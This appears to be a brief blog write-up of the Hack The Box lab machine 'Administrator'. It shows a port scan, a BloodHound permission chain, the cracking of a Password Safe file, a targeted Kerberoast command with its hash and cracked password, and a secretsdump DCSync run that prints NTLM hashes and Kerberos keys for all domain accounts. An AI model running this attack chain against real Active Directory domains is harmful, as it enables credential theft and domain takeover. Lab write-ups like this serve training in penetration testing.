Hack The Box - Administrator
Hack The Box - Administrator
User
Recon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
53/tcp open domain syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
5985/tcp open wsman syn-ack
9389/tcp open adws syn-ack
49664/tcp open unknown syn-ack
49665/tcp open unknown syn-ack
49666/tcp open unknown syn-ack
49667/tcp open unknown syn-ack
49669/tcp open unknown syn-ack
55242/tcp open unknown syn-ack
55247/tcp open unknown syn-ack
55256/tcp open unknown syn-ack
55269/tcp open unknown syn-ack
olivia has winrm access, bloodhound shows
olivia —genericAll—> michael —Changepasswd—> benjamin
benjamin has ftp access
1
`Backup.psafe3:tekieromucho`
opening with passwordsafe and exporting the credentials
1
2
3
Alexander Smith alexander UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
Emily Rodriguez emily UXLCI5iETUsIBoFVTj8yQFKoHjXmb
Emma Johnson emma WwANQWnmJnGV07WQN8bMS7FMAbjNur
1
2
3
4
5
6
7
❯ faketime -f "+7h" targetedkerberoast -v -d "administrator.htb" -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb"
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$f23c867e2be70f4611eb6e19ba51e5f0$6a5cc918c0864ee23c26774014ca3bf843de5fcfe0b520b4245eef56c191c6b61aa93d250fa432b26bc62217862a6176e168e4e8e4000b812cefd0df8d6f5876152c8a8facfca6de5a701785752b03df772cc769c6f85f5b1037ce25eae2f6dbf447b19054648a352b1a05db40cfadc5c2fc8010a8ec157531549126a0ed89b5e385382cfbafcf7b8c32691238d07e7f43e6734dd68f97b83773f15e9c3b7a2d9b31714d6e783392d9c6690a410aea4f901aed4cfc60cd3de8afa0ec2ca8fc79584fb826d8ae83d7c5f5aba14afa73b0dc16acab74baebac33710e48c7582b6921027711b033b3a67fd1d124abe584a5a0bcda5e8bd044ef5dc52dff4467b479bce484a4e9f91655717cf8577bdfc49a10ca6f04e2daf6c9168c28426209791d1c8f79cbd9fb655130426cb4430dd98983cc7cc90c4b0dca08ff2509b8d206aacf6368e9eddfcaa5808b4923d6bc4741a3cb410fd62b8b630402f40808deab4a234c346ba96a854b777da6ef92b5935b4dc5d5a5443b5c6ec5b2098752f9b07bbb59e75f8f05201297e69e21bede90b98a70c0eb6ca1580021088c4904d9b5e8964738972333b23e24e4201eb806242113844720774655a86630b728f1408073b1f05c0ee65c694d2458f86c111377a4464e433c01ba1b34bab0761e8d5389512a8d3ffd6eb67fc3dc61bb8d2cb16f8ce777c5fb516e37308f6707f735ff61e57758e95ad734f2646d314a5f3e0ee42a1a4b91da1fd32362927898081aa954802285d96636ff31b9ed32dc5e61e89ce40d8824536459341b2d8df33579e2bb2504343a337902adb140cb59a952deafc3d4f3fb2788df40dd51e719fe4543066fd7724998c24dcec430022c75e8fe610488b8f083e310715c2c819159f8ccfe0c165cde4e025ff59cfdd736b588a6fe04e85806fca0070b81219d44189b535a29d83ee3fc971e92dd38c2b7933e1679d136cd8ef251d30bdc51c339eecc63dcef039adcc7a149f8eabbf577db346ffbdf7867f288d936843e942c4cc71325c8829de8e6ce542ed6d4837c449b4eb1193cced343ac5500b99a39b1931897f266ce296875e2d3345c33ece1285c4530c5e4c8abd43473a63b32b0b3838c248a422ee491e7dc55accea7b5fbe74e46261119c5b0f0148cd4d9262bd5067f11175840aac9e0d5cf5ead846e23fcc1a2b9d0eb2d1369885a1d98b82eaf9a2cffd072b2f181ca4cf133538788817f41d200d18132471d883b65be69c7f959db4f93f82229a7c1f8a06401bca8466ce6a7c203958541a53fbde9f816d4c2aba3f8c68e79d93b7b1c0d6e32285a41483588a744228dacfbb11f3ea25b3bf277aff1a06f289b4a710471139fff8952dfe1c70b796bcec95d53fc282f787491cb8caa38132ac0b013ecf9c481b62824abbcb787384e207fbd5fd52a56c444095d5fe26a324408ba2ac1f273571cc42d5c80783fabbf853dc8aaab7369cd4488c3f69b26248a8b512e438efa3fe7d78b3015b77da4058a1c87669378340bda955ebed30ed2
[VERBOSE] SPN removed successfully for (ethan)
cracked :
1
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$f23c867e2be70f4611eb6e19ba51e5f0$6a5cc918c0864ee23c26774014ca3bf843de5fcfe0b520b4245eef56c191c6b61aa93d250fa432b26bc62217862a6176e168e4e8e4000b812cefd0df8d6f5876152c8a8facfca6de5a701785752b03df772cc769c6f85f5b1037ce25eae2f6dbf447b19054648a352b1a05db40cfadc5c2fc8010a8ec157531549126a0ed89b5e385382cfbafcf7b8c32691238d07e7f43e6734dd68f97b83773f15e9c3b7a2d9b31714d6e783392d9c6690a410aea4f901aed4cfc60cd3de8afa0ec2ca8fc79584fb826d8ae83d7c5f5aba14afa73b0dc16acab74baebac33710e48c7582b6921027711b033b3a67fd1d124abe584a5a0bcda5e8bd044ef5dc52dff4467b479bce484a4e9f91655717cf8577bdfc49a10ca6f04e2daf6c9168c28426209791d1c8f79cbd9fb655130426cb4430dd98983cc7cc90c4b0dca08ff2509b8d206aacf6368e9eddfcaa5808b4923d6bc4741a3cb410fd62b8b630402f40808deab4a234c346ba96a854b777da6ef92b5935b4dc5d5a5443b5c6ec5b2098752f9b07bbb59e75f8f05201297e69e21bede90b98a70c0eb6ca1580021088c4904d9b5e8964738972333b23e24e4201eb806242113844720774655a86630b728f1408073b1f05c0ee65c694d2458f86c111377a4464e433c01ba1b34bab0761e8d5389512a8d3ffd6eb67fc3dc61bb8d2cb16f8ce777c5fb516e37308f6707f735ff61e57758e95ad734f2646d314a5f3e0ee42a1a4b91da1fd32362927898081aa954802285d96636ff31b9ed32dc5e61e89ce40d8824536459341b2d8df33579e2bb2504343a337902adb140cb59a952deafc3d4f3fb2788df40dd51e719fe4543066fd7724998c24dcec430022c75e8fe610488b8f083e310715c2c819159f8ccfe0c165cde4e025ff59cfdd736b588a6fe04e85806fca0070b81219d44189b535a29d83ee3fc971e92dd38c2b7933e1679d136cd8ef251d30bdc51c339eecc63dcef039adcc7a149f8eabbf577db346ffbdf7867f288d936843e942c4cc71325c8829de8e6ce542ed6d4837c449b4eb1193cced343ac5500b99a39b1931897f266ce296875e2d3345c33ece1285c4530c5e4c8abd43473a63b32b0b3838c248a422ee491e7dc55accea7b5fbe74e46261119c5b0f0148cd4d9262bd5067f11175840aac9e0d5cf5ead846e23fcc1a2b9d0eb2d1369885a1d98b82eaf9a2cffd072b2f181ca4cf133538788817f41d200d18132471d883b65be69c7f959db4f93f82229a7c1f8a06401bca8466ce6a7c203958541a53fbde9f816d4c2aba3f8c68e79d93b7b1c0d6e32285a41483588a744228dacfbb11f3ea25b3bf277aff1a06f289b4a710471139fff8952dfe1c70b796bcec95d53fc282f787491cb8caa38132ac0b013ecf9c481b62824abbcb787384e207fbd5fd52a56c444095d5fe26a324408ba2ac1f273571cc42d5c80783fabbf853dc8aaab7369cd4488c3f69b26248a8b512e438efa3fe7d78b3015b77da4058a1c87669378340bda955ebed30ed2:limpbizkit
bloodhound DCSync
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
❯ faketime -f "+7h" secretsdump.py 'administrator.htb/ethan:limpbizkit@10.129.9.253'
Impacket v0.14.0.dev0+20260619.174856.9a5621d4 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:831b8c9d7e19d4f9b1ab04113cda0232:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:831b8c9d7e19d4f9b1ab04113cda0232:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:e90b5771a1e94b8540e8e9a82b9bd07bf25241f62fe7094fa69ec82f683c35d2
administrator.htb\michael:aes128-cts-hmac-sha1-96:8a0af774316ce5bc30954d3a830c6f3f
administrator.htb\michael:des-cbc-md5:ab374904c1402304
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:584e6de994372080da2ebe6decd938103959e7c665c950fd85957e24b54b8c31
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:3da63881fdfeab2dc21fedb2764811db
administrator.htb\benjamin:des-cbc-md5:83ad4cefec91107a
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
This post is licensed under CC BY 4.0 by the author.